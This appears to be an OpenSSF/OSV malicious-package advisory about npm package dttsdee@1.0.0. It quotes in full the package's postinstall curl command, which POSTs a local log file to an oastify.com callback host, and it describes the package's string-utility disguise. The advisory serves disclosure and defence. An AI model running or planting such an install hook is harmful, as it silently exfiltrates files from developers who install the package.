OpenSSF/OSV advisory MAL-2026-6462 confirms this npm version as malicious. package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /data/logs/monitor-2026-06-25.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. The hook reads a file from the installer's filesystem and POSTs its contents over cleartext HTTP to an attacker-controlled subdomain on oastify.com (Burp Suite's Collaborator out-of-band callback service,...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in dttsdee (npm)
Details
package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /data/logs/monitor-2026-06-25.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. The hook reads a file from the installer's filesystem and POSTs its contents over cleartext HTTP to an attacker-controlled subdomain on oastify.com (Burp Suite's Collaborator out-of-band callback service, commonly used for data exfiltration and SSRF research). The package advertises itself as a string-utility library (`easy-string-kit` in source) but is published under the unrelated name `dttsdee` with empty author/repository/homepage/bugs metadata; the innocuous string-helper code in index.js is cover for the install-time exfiltration. The combination of generic placeholder metadata, mismatched name/internal-description, and an automatic OOB exfil beacon on a researcher/attacker callback domain is a throwaway malicious package (likely dependency-confusion PoC or active attack).
## Source: ossf-package-analysis (4c2da603726677a712bcd1e3ce798e5b3f2eed115827085596589c40613e9ad6) The OpenSSF Package Analysis project identified 'dttsdee' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
- The package executes one or more commands associated with malicious behavior.
Decision reason
OpenSSF Malicious Packages via OSV confirms dttsdee@1.0.0 as malicious (MAL-2026-6462): Malicious code in dttsdee (npm)